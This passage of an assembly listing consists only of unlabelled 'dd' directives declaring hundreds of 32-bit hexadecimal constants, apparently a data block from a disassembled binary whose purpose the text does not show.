dd 698C7318h, 0F776F792h, 4D2FA337h, 957F65FFh, 7490BFE1h
dd 0EEF1358Ah, 5344DF97h, 6AB5626Ch, 57A1E514h, 904C6018h
dd 6A06C8Eh, 2F3E01B4h, 0DBCCE3C1h, 36A83C99h, 8ABC1BFCh
dd 2D54C38h, 33D3BFD1h, 0E5284A90h, 50AE822Eh, 0FCA14451h
dd 0E308F564h, 0FD8E8C11h, 42EF5023h, 0FECDDFFh, 0B079094h
dd 89651C01h, 0AD6D40B5h, 21BDB494h, 8908FCAFh, 0F0988F57h
dd 0EE8D8CBAh, 2C8B2EA7h, 59D84EAAh, 58B91D60h, 8B966B74h
dd 54CBF656h, 0EB3A0CE6h, 0E1434ECAh, 71368286h, 0BF43C8DFh
dd 0FC3B182Ch, 0E056D88Dh, 79CB6414h, 0A7753A63h, 0FB6B24D9h
dd 6791193Bh, 0B47BAB62h, 0CBFED0E9h, 53D8FA43h, 7CE98E6Bh
dd 4D41D97Bh, 56629AE7h, 937D8C42h, 0F1729069h, 0F8AFCAF8h
dd 7C33A4C3h, 6D8D64DCh, 0E197B4F1h, 4C2D9817h, 0F6FF169Bh
dd 19DCBC13h, 58A18A98h, 3F3C2EAEh, 0D08A8ED5h, 7E8539FBh
dd 0BD886993h, 4F8FA749h, 27D68A7Ah, 74D8061Dh, 0EAF7386Ah
dd 53442F77h, 655EE4CDh, 0E53528EFh, 6038609Ah, 64C230Fh
dd 0E1AA095Bh, 8E330E6Eh, 78D4901Ah, 72AD6BE7h, 0E9EE0774h
dd 0CC07FA9Eh, 0C4DEB568h, 0CA837E2Eh, 4C765451h, 0B524B0EFh
dd 0A972491Eh, 0E3C743AEh, 5C367A4h, 0AAF73D49h, 5AF6A675h
dd 0CC93AA82h, 0A2CB2494h, 1CFF4A02h, 27D4DDA9h, 71F7DF15h
dd 47C436ABh, 66A300E0h, 52D1224Ch, 0F71D6D4Eh, 0EDF86CDEh
dd 0FB36ED87h, 75280F61h, 73961641h, 129CCCD2h, 76044CE2h
dd 5FFB05B0h, 80216497h, 339AF26Bh, 5197DE8Fh, 57911F2Fh
dd 1E8454BBh, 7737347Ah, 0AB798670h, 965662D6h, 16BE09FCh
dd 7F0828C3h, 3C0FF3B4h, 9DA7B3AAh, 70D9D8B7h, 7555518Fh
dd 8544E717h, 8F2696A1h, 0D0D1E409h, 324C5E34h, 0ED573C1Eh
dd 3B2F1E90h, 409B1B69h, 0DB8A7E50h, 91DB08E7h, 0FFC5468h
dd 1233C5EFh, 8EE9D1A0h, 0FDC574FFh, 7B14B7AFh, 0D84543A9h
dd 8D0E6DD9h, 0A84ED715h, 1E30A5DFh, 0F9B7A06Eh, 0B2D1F9B4h
dd 5BFB8D6Eh, 0E2B07EDh, 4354ED09h, 0EDD8007Ah, 104EBF17h
dd 0A1C150E4h, 471B2E5Ah, 203B15B9h, 0AAA03310h, 0C51A8C11h
dd 0F766C651h, 5D2498A0h, 0D9E79094h, 94955B72h, 2F10ADC9h
dd 0E1FF5B93h, 66E7ADDFh, 0E39ECD2Bh, 2BF28B31h, 87390B60h
dd 4F3690C9h, 2F51C7B8h, 0E0941342h, 56241938h, 177F3A69h
dd 0A1ABFD9Bh, 0C9A9F4B2h, 0FA27D353h, 4E9D77D0h, 0E4E5AF52h
dd 84358A86h, 0BA997F3Fh
dd 9087B431h, 0B3CC477h, 4B781131h, 81BEC3F8h, 51C9F9F6h
dd 0FD899DE7h, 45286h, 40607423h, 84479544h, 818839A4h
dd 0C304C2D0h, 0F506614Ch, 0F0A6886Eh, 670915C7h, 20F8F38h
dd 6D591CA5h, 6CAC7865h, 5BFE5FDBh, 0DDC91BB6h, 5B81BD7Ch
dd 69DE4CFFh, 34F8FD92h, 0BC1F05BEh, 27F58A7Eh, 4F79EE9Eh
dd 0ECF8B03Ah, 8B2DE32Eh, 0D4E4665h, 47B13C3Fh, 972850F6h
dd 0E88AE82h, 0A8C60110h, 3DCCF0C7h, 0E7703AB1h, 0DF6C3227h
dd 952AA3AAh, 8E9EBF00h, 10FD197Ch, 0B71B3646h, 29A675BBh
dd 612DE91Fh, 0E8CD36A6h, 36DF6051h, 0C5535D66h, 491AD5D8h
dd 6948598Ah, 976DBEB5h, 288234D1h, 69AE8A47h, 0E0EBC7F8h
dd 3EDA54C1h, 35DB002Eh, 0D3292BDBh, 0BFCC5A2Bh, 82044179h
dd 429591BDh, 23A6A0AEh, 38AF795Eh, 938A5BF1h, 73E83D5Ch
dd 8C002D5Eh, 86CFBEh, 54CE5FB6h, 58611A85h, 4B1E7EF9h
dd 0CD22EEFAh, 307BC13Ah, 82BE1121h, 15D404C3h, 115622DFh
dd 267AD1E3h, 59E17770h, 0A1F91720h, 0E3879BA3h, 0DA750A49h
dd 4E83DE04h, 0A1947AC3h, 0F377F2AFh, 720663FAh, 9BC1764Fh
dd 0FA678213h, 2AB0CA12h, 5AF732EDh, 8AA5BF37h, 71D9F02h
dd 0B3E35A19h, 6417273Dh, 916C4BADh, 0B6253DDDh, 3D37A706h
dd 0AC244FF2h, 9595FFF3h, 950F9B6Dh, 97004D7Dh, 8B746993h
dd 0C72A05CEh, 0AD680012h, 52C670EBh, 29268D9h, 5D3D46CFh
dd 631819FFh, 30203D01h, 1556FA81h, 0D2C335FEh, 0E16FADA4h
dd 0DBDF43F3h, 144F15C7h, 1AB9C7ABh, 0B03F5C6Ch, 0A8045DC5h
dd 0F82F57AAh, 0F519C368h, 19154149h, 9DE7BB7h, 259A09C9h
dd 0BD0966F2h, 0D1C93471h, 3CDDF6FEh, 1304885h, 0F49F72ACh
dd 98D4F89Dh, 4AFB9EE0h, 4EA4934h, 4D00652Ah, 731870CDh
dd 0C8A90245h, 51D632A8h, 0A43CC9D5h, 0FB958A26h, 0F5F5E4CFh
dd 2CD544C1h, 0D5462074h, 618D72E4h, 768C8D88h, 0D28B50ADh
dd 0C5607B4Eh, 8775C97Ah, 9F87426h, 5E703E4h, 0E48EA97Ch
dd 0BD80BA7Eh, 66DD190Bh, 8C719BB5h, 1CCC1216h, 0A1B2301Ah
dd 7BBA2365h, 0B0B2999Bh, 1EAD2BF6h, 3E727C6Fh, 0AE28011Ah
dd 0F2007B4Ah, 0E1B2EAF5h, 0A096CCB7h, 6DF4F903h, 420AE18Ah
dd 639D30CBh, 918D35D7h, 97D7F9A7h, 43BB7598h, 47562C99h
dd 1C7AFE13h, 0AE358F8Eh, 32A608C9h, 0A621A3h, 33C7F770h
dd 0C0BB2D24h, 0E2FE2B78h, 5C43C57Fh, 8785B082h, 18E2CF15h
dd 5F4A141Ch, 135C97F9h, 293BD457h, 4CC81C67h, 0EB11264Bh
dd 0CA66E5DAh, 2313E1DEh, 3E5E59BEh, 112F89C1h, 0CE2320A8h
dd 0C4613CDCh, 1054497Ch, 0A3C80E0Eh, 881E52DCh, 0EF6FF721h
dd 5D2819Ch, 0D8F055CCh, 0FEDCDBAFh, 0CCB42ADEh, 0C8F0EDAFh
dd 1BC725DEh, 1F827304h, 3BAB63D8h, 0AFB714A5h, 0DD85CB90h
dd 970882DDh, 2543B28Dh, 96008FA8h, 35BB09A6h, 0E31F2244h
dd 78F088A9h, 3ED766B3h, 807923DDh, 0A29DAB2h, 0CF9ABA2Dh
dd 0A21C839Ch, 7A8A01E7h, 0A7569EAAh, 7909F2F5h, 8730368h
dd 0D849528Dh, 0CCF3391Ch, 0E04B78EFh, 8B739AF4h, 557F3D3Fh
dd 6D26E909h, 0F840B082h, 3D5BD78Fh, 0AA2AA3BBh, 8B90109Ah
dd 5F0A60A4h, 7980B6EBh, 0ED9B2410h, 92E2A16Ah, 406AF31Fh
dd 5D1F985h, 16264D47h, 38FF8BF7h, 8B8FBF57h, 49AB2FF0h
dd 0E3E73DA6h, 0B3CB4FE9h, 0A78AF16Ch, 1498BA8Ch, 107FE4E6h
dd 25BB944Ah, 96A5EA7h, 8774EFE0h, 0E66DDC3Eh, 1715E0E4h
dd 21B7ADCDh, 36BC8C22h, 421B7944h, 5A46891Bh, 7235C024h
dd 393D8B7Dh, 67203F45h, 39643399h, 0DDBADC55h, 380CE2D3h
dd 7A5BBDDDh, 0CB8FD4BEh, 61B742h, 2C2B388Eh, 0FC78C1A2h
dd 7C3A99D2h, 0AA42D9C8h, 0A19526FEh, 0B84C6061h, 234C72C9h
dd 8CE5C8B2h, 0F4F81C4Eh, 0F640C38Eh, 1E5B7A30h, 70C71CCCh
dd 4C037B95h, 0C83A3F8Ch, 2DCA615Eh, 0DA54BB84h, 8FBFA161h
dd 275833F1h, 8DB1C4B3h, 26A1E76Ch, 6431BAA6h, 9DC80D13h
dd 0C5EC23A8h, 700574EFh, 646424C1h, 3B6B5DF2h, 2A52D1BEh
dd 6B1997E9h, 0B741775Dh, 0DB683229h, 0ECD1E3B0h, 0DD623473h
dd 9EC73DA2h, 416A005Eh, 57717CE7h, 0BEC863E4h, 6735940Dh
dd 9BBA6E8Eh, 7C3D13C2h, 0FCD3F180h, 0C4BB15B5h, 0D10F5DD9h
dd 5DBAB8B9h, 83E03F9Fh, 9E433835h, 564EFF51h, 9E001C05h
dd 2D775E44h, 6477D2FDh, 3DC38441h, 1B06F4B6h, 0D431089Ch
dd 9EEAE75Bh, 0FBBF9E82h, 0A9A72FB3h, 206E060h, 44F3ACDFh
dd 0C9707E8Bh, 0C0E66149h, 0C8ADC356h, 0FC1DE339h, 7DD20A58h
dd 0D600818h, 0AEE5B4Eh, 5622BB97h, 0D83D8CEAh, 0D87E2F4Ah
dd 0FF1FC7D8h, 5CF4C681h, 3C8C11DDh, 0A69BD196h, 0E80A39F6h
dd 73F8877Eh, 6C41DA6Ch, 88699537h, 68544B9Ch, 843C1171h
dd 4437ECB9h, 0A4113559h, 24D735E2h, 2814E558h, 370367EDh
dd 0D74721C8h, 0F22A7DEFh, 3FBF4E40h, 0F02D3C2Eh, 0C0CC0C6Bh
dd 2AA20F1Fh, 1EF538E7h, 310478F7h, 0EFA2B98Bh, 6E2C75Bh
dd 14144987h, 546DAAD8h, 65FDA48Ah, 54DC0757h, 7CD111F8h
dd 678C39Ah, 4E32AA6Ch, 0E480F3C3h, 8F8262CDh, 1D51F38Ch
dd 6958C049h, 77B20356h, 2BA646E1h, 0E1110F1Ah, 57AD4880h
dd 0A390B424h, 54AD078Eh, 12DCD54Ah, 9AB4B062h, 0F072D550h
dd 4588D206h, 0E06CDE16h, 433C4D3Eh, 0A468C144h, 0B7247FA7h
dd 620A5A19h, 2A86991Bh, 7853C824h, 3B8420DCh, 0E665CFD5h
dd 0BF00FE85h, 28ABF991h, 72831A49h, 3ADB24h, 0FA6F3AE3h
dd 6549BC88h, 74A23847h, 52B44890h, 0D8753283h, 72F28A14h
dd 0E9761261h, 328D2C55h, 0D666B141h, 940A3EB7h, 0B85B0276h
dd 32854EB6h, 37EDE585h, 0F1650F71h, 94F643h, 1D27799Bh
dd 698BAE6Dh, 701376Eh, 66612CFh, 0F98B9FA9h, 0D097B14Ah
dd 76719437h, 0EDBB9621h, 8C1D8197h, 1924AF4Ah, 0A7E7AFB2h
dd 0F7679A77h, 0C9C3DEE5h, 6CC8BD7Eh, 155C866Ah, 6D63D3E9h
dd 956E67B5h, 653D13A1h, 0E7275E8h, 1D3FE917h, 604469D9h
dd 1680907h, 83021466h, 690905FAh, 70C82F45h, 0EE4B2656h
dd 8CAD9465h, 0CFA4C911h, 0E61375CCh, 5C8BF178h, 0E41FBD8Bh
dd 5DFFC04Eh, 392F1568h, 7BA4D255h, 552790C6h, 6DCB2D82h
dd 1F112000h, 71B52D2Bh, 7E3B904h, 0FB1443DAh, 0B6619D11h
dd 0A5ACCB8Bh, 4C39C471h, 7640BD7Ch, 0E7E9CCA9h, 0BCBE41DEh
dd 0C513B46Eh, 9E131CABh, 87DF8ACCh, 3D7B68ACh, 89C8A0CEh
dd 8B1AAB49h, 0D6D3DECAh, 0D87F954Fh, 33D1EED9h, 5D62712Eh
dd 0D50C0133h, 0BAFA1A41h, 52917628h, 153F962Eh, 41C2C473h
dd 409F7528h, 41B0F813h, 902C7459h, 0B946A5Ah, 0CF7B3931h
dd 9ACC66E8h, 0C95A0DCh, 0C28B77ACh, 0B4C16BAh, 0D7A9B864h
dd 2CA85FDBh, 15D823B5h, 9406F069h, 10C2E3E7h, 5BE5C365h
dd 690864F3h, 2FBFADF6h, 0FA9834BAh, 286B0E08h, 7CF25F2h
dd 4990ED04h, 6F5EA2Ah, 9F936AD0h, 12295E92h, 0BA79B64Ah
dd 0AC7AD518h, 6819C285h, 4DBA3783h, 0E6394FC9h, 49437245h
dd 4207C35h, 0A2982B01h, 0CB9BC4B9h, 0A774F434h, 80FA9F22h
dd 9CC0EB13h, 1F2F9B0Eh, 757F5E52h, 4D84E6E3h, 40A29F72h
dd 0C7F64C44h, 0AD8D415Bh, 0EDF2A8EBh, 4E67AD01h, 468371A8h
dd 0ED635B74h, 45942C69h, 6834160Eh, 65D50195h, 5FB61141h
dd 7750ED7Eh, 853F1355h, 0EE016220h, 8822D40Bh, 14255AFDh
dd 0D7270F3Dh, 5765DF7Fh
dd 52BF0966h, 0D03D18EDh, 0E8D3D32h, 0F5BFA2C5h, 0D8765EBBh
dd 0EC0F871Ah, 300443AFh, 0C37C2771h, 343A18D4h, 18B4FD3Eh
dd 3F846A12h, 0E005010Dh, 0BAD06493h, 56ABB5C5h, 3006540h
dd 0C505A14Bh, 29E5B6BFh, 0C375A134h, 0AAD4BAE4h, 1D6CF454h
dd 92FE8CBFh, 2978E26Dh, 3B42F6BAh, 758B1D71h, 727D8AE9h
dd 718027E0h, 4A3C618Ch, 71916F72h, 0D57695BCh, 0E8D5D586h
dd 46880B9Ah, 3355A84Ah, 6C7AF40Ah, 0E329C205h, 1A277A80h
dd 1D68850Ah, 0CDDA388Bh, 6B23D054h, 0FC56F39Dh, 0BA1EF0FCh
dd 0D788E4A9h, 197744C9h, 0B9E35411h, 3538D247h, 194790E7h
dd 386EE6E0h, 0DD2400D3h, 676175BFh, 0C9BF8A4Ch, 5C0AD024h
dd 933F994h, 0B319B908h, 885A18E0h, 6FE68A31h, 0F49CBA91h
dd 0E37FC254h, 0E4107E4Dh, 0BD76C42Ah, 0A4A29496h, 0DA26747Dh
dd 89CC61ADh, 43BD155h, 0DDA7799Dh, 930ABFF5h, 0B49C16AEh
dd 0AB6A4D18h, 0AFF810AEh, 3AFE9BFAh, 56F42BCBh, 0F507D131h
dd 0A2558941h, 346B599Ah, 592084ABh, 0A2C8FD32h, 981FD58h
dd 30E70E0h, 0A65CC3A8h, 0F790E554h, 207B1A6Fh, 0B7990B55h
dd 899C9D6Dh, 73A8FA4h, 0E5191163h, 9A2D6069h, 5FA7E6E9h
dd 6579D4E2h, 421A7ECBh, 63F96DFAh, 7A334D72h, 0E0557C81h
dd 1AB4A450h, 75772C90h, 0DF6E88FEh, 0DAA6619Dh, 1632216Bh
dd 0C3A342E0h, 2C7BFB07h, 4E19538Fh, 0D5C98FCAh, 0DD256877h
dd 0E6409184h, 9FBBC89h, 74123EC4h, 0EF405555h, 0B8A43E89h
dd 192D82C1h, 0D9D4055Ah, 37AC14A8h, 5F2DAB49h, 8E011C6Ch
dd 0FDB4330Ch, 18B32E7Dh, 0E52E7E4Ah, 0D3E4DCEDh, 338C1CCFh
dd 996032E7h, 634E6C61h, 0A9F1877Ch, 5FA028C0h, 0EE830490h
dd 0FD1C7F8Dh, 5AB6C7C0h, 7208B06Fh, 7115597Ch, 36D36B1Dh
dd 40ED1736h, 501EF3C4h, 1DF2F29Dh, 0D7C5D12Bh, 0A4332329h
dd 7D0C3717h, 52FBC0DCh, 0EB9D4AD8h, 24016CB2h, 0AF51956Bh
dd 20E97AFEh, 7B6584AAh, 8C9E6474h, 3F6C375Eh, 0F41BAF84h
dd 0BF39BF77h, 6F71F509h, 0F07E8CC8h, 0A1C00E1Dh, 13EF34ECh
dd 0A01EEADDh, 60571799h, 0E2C6C51h, 6A993CEFh, 42243BF8h
dd 0A3EC93F3h, 61AABE8Ch, 0FC070C61h, 3B4449AFh, 0ABA6EE62h
dd 0EDFBD2CFh, 0DDB174CBh, 1E426D87h, 4388AE2Dh, 3AAA2A9Dh
dd 3442690Fh, 0ACD2DA0Fh, 7725D608h, 0B1484DDBh, 0CA8EA564h
dd 7BEEB545h, 7B1220A8h, 0AD8D5B5Ah, 535935BAh, 9AD5BDD4h
dd 0CE20552h, 0EB891E81h, 0C24BD5BFh, 0E052D286h, 2D3F05CDh
dd 7B6E353Eh, 8667CBBEh, 4B4D5A50h, 4B86C9ABh, 8DA5062Fh
dd 4D0E7CDCh, 0A1A1D4B2h, 98772BD0h, 0AC528449h, 20762DD0h
dd 3A41C768h, 3B3856CCh, 1ABA8587h, 9914F048h, 4DE53F14h
dd 0CD887DD3h, 0D967A445h, 1BDED2EEh, 18F2D5A6h, 564FBC5Ah
dd 82BF039Ch, 0EF794FEAh, 0B68B7C8Fh, 0D504EDD2h, 376B75D1h
dd 40A086B1h, 6202E54h, 0A07370Ch, 89957947h, 4F61EFB5h
dd 73596141h, 0F43A31B4h, 0C7F9603h, 85B6B867h, 3C307E5Eh
dd 0FFFB5A7Eh, 0CE8F449Dh, 578253F0h, 0FE2E91Bh, 0DAA403B3h
dd 73A9B3F6h, 700E8C54h, 5F4959C8h, 514ACC7Ah, 0BDFAE77Ch
dd 3D508118h, 4DB5A504h, 8D7648A8h, 0C027DB71h, 743D7A16h
dd 0C62E64FAh, 7A2F4741h, 8D5E9BF2h, 363FECDBh, 3C224721h
dd 70C9E5D5h, 7FA05AEBh, 6ABD3EAFh, 9D19CDADh, 1D781D5Ah
dd 0CA901270h, 5E6F5D6Ch, 71011468h, 0BFDFD694h, 0A5C164FEh
dd 0D714809Dh, 0D60C2423h, 0FD147842h, 0DA432CE3h, 0F9EC004Eh
dd 573ADFC5h, 99736A95h, 62855F21h, 80411492h, 6B6C33C1h
dd 7726458h, 0FDD1C8DBh, 8D775351h, 1DE9636Dh, 0C9DFF752h
dd 1810324Bh, 87074DDBh, 35F08F27h, 0C87CFE4Eh, 85561849h
dd 0AF7E05CAh, 0F00065C2h, 0D3895BEAh, 7262494Bh, 84CD8FB8h
dd 3F3F0E92h, 0C165C75Ch, 61E524CBh, 0FDD8BF2Ah, 46441D14h
dd 9A93AF78h, 0F54E1C4Bh, 0C417868h, 42EB23DDh, 0E4A4358Eh
dd 8E360D30h, 77D93115h, 8C1C3D07h, 1F07FA6h, 0C1A9347Ah
dd 670DC693h, 7732D029h, 2AF7C0DEh, 616B4778h, 8E360D12h
dd 0FCAB7945h, 0DC869AAEh, 0CC48B2A5h, 632BFE03h, 0AABEB48Dh
dd 1A2B42F7h, 7C375A93h, 0A82A3A98h, 0E68F0E12h, 0F5E96987h
dd 0A4DE7380h, 26B4818Bh, 91B63391h, 9984F2B7h, 43891F4Ch
dd 8E8A1290h, 4013590Eh, 934D4FB6h, 0CA67FDFEh, 0F52E6A4Fh
dd 0A5D8CA28h, 6ED0E24Ch, 0A06721ADh, 881340D1h, 0EA3C8276h
dd 91E43585h, 47EE8D8Dh, 717D343Ah, 0AD9E56FBh, 0F822CDE2h
dd 39E97CD0h, 2E885110h, 4B773965h, 40030EA4h, 0B133FDF1h
dd 785812AFh, 64F91FF7h, 0ABFAB406h, 2A74F996h, 50E3C26Ah
dd 0F05A6FDAh, 0D161D863h, 5C179B99h, 7E377D27h, 48FA660Bh
dd 0FBE921DEh, 0CD7FB666h, 0E68E347Fh, 16BB3C3Eh, 32F91FBFh
dd 0F61F8F8Ah, 8745E65Bh, 52382D90h, 8BE61A62h, 29CC74D6h
dd 13526ACBh, 2F133985h, 1B0D02BFh, 3AA5DF22h, 0E72228A5h
dd 6CAFAFB1h, 641865A6h, 0AE48E6BFh, 0B9BA14E4h, 0F5C90DDh
dd 0E17BB868h, 7B8EC27Eh, 9FEAE906h, 0B92ADA05h, 0F83A8649h
dd 996C21F2h, 0C99C49C0h, 2367EBE2h, 9390D52Ch, 0BE17FCEDh
dd 54DEDC04h, 0E983855h, 13288857h, 84DC56F8h, 0F0CF37E2h
dd 0CD95A89Dh, 0A04F491Fh, 0DEEB2046h, 9893812Dh, 0A21D6ED1h
dd 0B5F0BC20h, 1D7F736Fh, 49888D57h, 0C8408FFEh, 616B7397h
dd 68A074A9h, 37A0B85Ah, 746D1662h, 19E9FFC5h, 0AF103866h
dd 0C518590Dh, 6CCEB7BDh, 85ED12C6h, 0A21D7E37h, 0FC82BD28h
dd 0B34F927Eh, 0E9A89C4h, 7E37240Eh, 2087D09Ch, 0B12E4C5Fh
dd 489778A7h, 0A77B8ACh, 5E4B50A7h, 0BD486716h, 6947B7E3h
dd 7DE1DA8Bh, 0AA4BA0CEh, 12334804h, 0B3A842DAh, 0B2330B60h
dd 36CC30D5h, 0ACCC27ABh, 2FD21295h, 0DA389CD3h, 8A7B8E20h
dd 2F7F472h, 17C3F699h, 0B52E792Bh, 0A8264E41h, 0DF993BCDh
dd 63C74FB0h, 0E393389Dh, 55961284h, 0E15B751Dh, 0CDAE9C82h
dd 0F4F4BFDBh, 6F61F89Ah, 2CAAB549h, 24BBC295h, 23871850h
dd 74AA6D6h, 0C78D9E6Ch, 4FFD08D4h, 0F9ABA037h, 4F5FB56Dh
dd 8F20535Eh, 0EAC47D9Ch, 142CC553h, 0F4901446h, 0BF8DEE73h
dd 45043178h, 0E17B643Ch, 1F4656F4h, 59FB2ECBh, 0F666D658h
dd 7010E191h, 652CD5EBh, 0C6E1AEF1h, 28BB8A27h, 0D569180Eh
dd 0FADF6952h, 0C6A687AAh, 0EC375B5Ah, 6DB9B48Ah, 0DB797B84h
dd 5DAB650h, 480F4F1h, 0F42C108Bh, 0A9F10DFFh, 4A12D8F5h
dd 0AEBEBD5Dh, 9B5FAA89h, 71B2A209h, 0C0AEEB31h, 8E170DE8h
dd 1D94292Ch, 0E33613AFh, 67127E7Ch, 0C71CFB92h, 0A217A3EEh
dd 0C8602B72h, 0A784CFB1h, 7BB2FDA8h, 0CB2A05E6h, 28763894h
dd 0B08D1038h, 0E7D94354h, 3BAED4AEh, 0CC8CB0D8h, 553B610Eh
dd 0A87C92C4h, 0E15914FCh, 88DF5BBEh, 0B44D26E9h, 8BB78E5Eh
dd 3F708005h, 794AF837h, 985C74F3h, 1451B650h, 979BC9D6h
dd 0FBA896FEh, 0A0972789h, 3403F1FEh, 7B40FE3Ch, 0F06DECEAh
dd 56DF59B6h, 25EE4CA0h, 51133DF0h, 6EDFD2B4h, 95FCB2D7h
dd 0A510AB10h, 0ED633995h, 381B1339h, 85429DF4h, 12E24F97h
dd 2E36C1B2h, 0D3988DE6h, 21E09FE5h, 0CBCFFC83h, 96A92E3Ch
dd 5C0E1D6Ah, 0E2586499h, 2858EB25h, 9689F35Eh, 0FA6201DAh
dd 1DCE714h, 5D32D706h, 0FBB1D056h, 0D5C38C4Ch, 0FFA50675h
dd 39932B25h, 0B2A2BC7Bh
dd 643BA4A6h, 0E3385F3Fh, 4F49FEACh, 9768029Bh, 0FD35C2E1h
dd 0B583E4C1h, 44947719h, 666B57A1h, 4B3FB8D3h, 2B699D0Bh
dd 5B3CFBFAh, 9CA253C8h, 0E1CF28DFh, 76E75097h, 0D4BB9C68h
dd 0E1A222D8h, 6260315Fh, 0C1ECF427h, 2D64B070h, 0D460D4A7h
dd 0C3788FADh, 49A70EA6h, 99F7B4Ch, 58AD4B70h, 0B3755669h
dd 91CBA25Fh, 766D732Ch, 7C2D2567h, 8576F9C0h, 46D64E76h
dd 4A1F7FA9h, 872BCEF8h, 2F642B7Eh, 0BACDBBEDh, 6E6422BFh
dd 0BC43B31Fh, 0FFD6BF50h, 207E7137h, 86F0311Ah, 0C4CD2C45h
dd 98F2C4A5h, 4C5CD42Dh, 0F1DF0EC6h, 0BD073592h, 0A0AA0954h
dd 72C8636Fh, 0D6A69D80h, 0D7A62DB8h, 54E7C21Ah, 6F9C975Eh
dd 22EE9570h, 233056F4h, 0F31E8213h, 0A6185910h, 0C689171Bh
dd 0D2FBF6EDh, 35DFAED1h, 0DF2AE67h, 41A1F921h, 0D766B316h
dd 1FBC3FF1h, 653AF341h, 3928A3F6h, 2F9E250Ah, 0FB0F21EFh
dd 0FE9401F3h, 52595F63h, 82509CC1h, 7B267663h, 4AA2F8FBh
dd 560201D0h, 22E304F4h, 7649C6D9h, 0C6BDE7C8h, 85231B42h
dd 0FFC3147Ch, 12383B4h, 20E78BD8h, 9CB5E50Ah, 3BA20821h
dd 2FA3F792h, 1C75699Ch, 0E2F109ABh, 0AB13C0BEh, 0D57E22C8h
dd 0A9663044h, 3993A2CEh, 0CCFA2A8Bh, 0E6EBD1DAh, 0A6DD627h
dd 0AE1FD12Bh, 0DDD4942Dh, 7EDBACE7h, 4CD49875h, 0D2BA5720h
dd 487675E8h, 0B0719DC0h, 0EAE0BC80h, 7C6A24BAh, 0A48F194Ch
dd 79A980D1h, 0F7DF3866h, 9DA8B995h, 0C4B14BFFh, 68E68413h
dd 5AF8D104h, 0E556C81Fh, 53C540DAh, 0FE1BC007h, 0B85F63A7h
dd 6A156FFh, 0C8823F40h, 0BEE20132h, 6C912727h, 0C1044D8Bh
dd 0DE26F070h, 0FD95EC2Ch, 0B1F05BB1h, 921DF470h, 52DCFD5Eh
dd 0F31E62B4h, 6EFADADDh, 4EAF19A0h, 0EB8C0FE9h, 736C3AFh
dd 753F7BDFh, 0E112AA7Ah, 0A01D15D3h, 8B24CF0Eh, 0C917DEC5h
dd 87AF1BBCh, 1E569870h, 71B420D6h, 0F63A6DF2h, 42DCEC89h
dd 8F959C71h, 2BE1B41Bh, 417DEB93h, 253DEBBAh, 0F415D921h
dd 0C6F52369h, 3F9F5E2Eh, 561F4DF9h, 94B30C39h, 0A517369Ch
dd 5C4F2893h, 93CB6E53h, 3E72C270h, 16BE40C3h, 681C9ADBh
dd 0E6A7A5B4h, 0C88C4512h, 45D82561h, 0D59812AAh, 3D70C018h
dd 94B2F06Eh, 0BD65EBA8h, 3D57AE8Eh, 1B39104Bh, 760C7070h
dd 0DE86133Fh, 0FDD5848h, 0C70FA992h, 0D7B7D4D3h, 41A783C9h
dd 52E3763Ch, 0ED19C83Fh, 0BBDB0718h, 0AFA84423h, 0D0641CFEh
dd 7FC1A97Ch, 0AF13F0D7h, 0A18FF852h, 3A189806h, 4FA82099h
dd 42E3A12h, 6AC01294h, 0E925CE1Ah, 1DE38B11h, 824706F4h
dd 0BE120C46h, 49318804h, 2CFE01AEh, 3BBDFC50h, 3CF66A0Bh
dd 0CA04A621h, 9652DCD8h, 43474AB5h, 0A9C82424h, 0E2F672F0h
dd 0E78F6D2Bh, 3CB893D4h, 45E7F6E8h, 0FBE50305h, 839F67DCh
dd 6EB38660h, 7138B1FAh, 0BF5AF5DBh, 0A3358C0Fh, 74BD571Ch
dd 89CEF666h, 4BB2E800h, 460EBE3Fh, 7324388h, 0A9E5D387h
dd 0D93396ADh, 0D70BFFCCh, 0E5DA73E4h, 55B22ADCh, 9D0CE3AAh
dd 0F30D5D9Bh, 0C0E3A522h, 43DF0233h, 85A72BF6h, 0B15FC3FAh
dd 4F7FA061h, 0E7965B0Eh, 37D92073h, 0C8556D09h, 9F854934h
dd 3F265670h, 0C334598Eh, 1A29E20Fh, 9A888595h, 0EDA0047Eh
dd 0BD0AA4CCh, 2B0FD591h, 0D85FB9F6h, 26721F45h, 92F8BFB9h
dd 0CF8AB901h, 40E5AF52h, 9F5751ADh, 952FBC8Eh, 0CAF09D30h
dd 31EBC5DBh, 2335583h, 0E088D925h, 4524D612h, 2A7F568Dh
dd 869A83B2h, 0CE1D258h, 4CC4079Fh, 0D69DCA34h, 4C9E05CAh
dd 0FCF15101h, 2D54A3BEh, 8337FCA0h, 397A2A62h, 61E8484Ah
dd 0D3542CF1h, 22B2F59Fh, 0A935902Ch, 90053F1Ah, 0B69FD4Eh
dd 0CA4931Ch, 322B077Eh, 0B33EECF1h, 0AF9DD18h, 99448013h
dd 0BC51F02Bh, 8373D87Eh, 819E621Bh, 355DD76h, 81FC86h
dd 0CC870E3Dh, 0F6FC8609h, 14C99188h, 1A2AA2E7h, 98793735h
dd 2E875AACh, 0ACE73D3Bh, 0C6F17DB3h, 0C5FB3BCh, 8A7DFE1Bh
dd 50433256h, 0AC8ED6A4h, 66BBEDE4h, 0AF5DF3AAh, 0C0804D1Bh
dd 525388F9h, 9C631E88h, 2C9F7FD4h, 2A167F5Ch, 3CB5B0CEh
dd 43D9A1CBh, 0A16C97B2h, 0F67DA048h, 0CBC17DDh, 6D390442h
dd 35D9845Eh, 0F22757BFh, 0DC375930h, 420D3BB8h, 0CCDDB1F3h
dd 0B86258D5h, 91104D20h, 5C2957DFh, 0DE28187Dh, 886ADDCBh
dd 8D78552h, 1BBA68B8h, 0C7F822F2h, 0FE0C0115h, 818C079Fh
dd 8E4D9A80h, 0CAA2507Ch, 0BDF6084Bh, 4760A7Ch, 86974400h
dd 3D6665BCh, 0D2BFBCB1h, 64787636h, 0E117BB39h, 0DBD51862h
dd 0B7679639h, 6D3FBEB1h, 0BD7476A4h, 0B9EDA4FBh, 64CEAA5Dh
dd 7E1B5F15h, 0FC81EABDh, 0C29A661Ch, 0CC566BFCh, 29B33EFCh
dd 40B0EB15h, 43A88A75h, 258CD111h, 0D4C7FF0Fh, 833CE049h
dd 8807DBB6h, 474158CCh, 31F280E1h, 0DB54EF40h, 0DF47D391h
dd 3FCF7AE5h, 0B631FC96h, 0B84F4A13h, 0E0CCBB72h, 55D7285Bh
dd 34224178h, 6A512AD5h, 1AF8DF0Fh, 0B30B7668h, 63D3D0B3h
dd 0BD18291Fh, 0BD364C6Fh, 0D410A1BBh, 0B5EED8E9h, 770241AAh
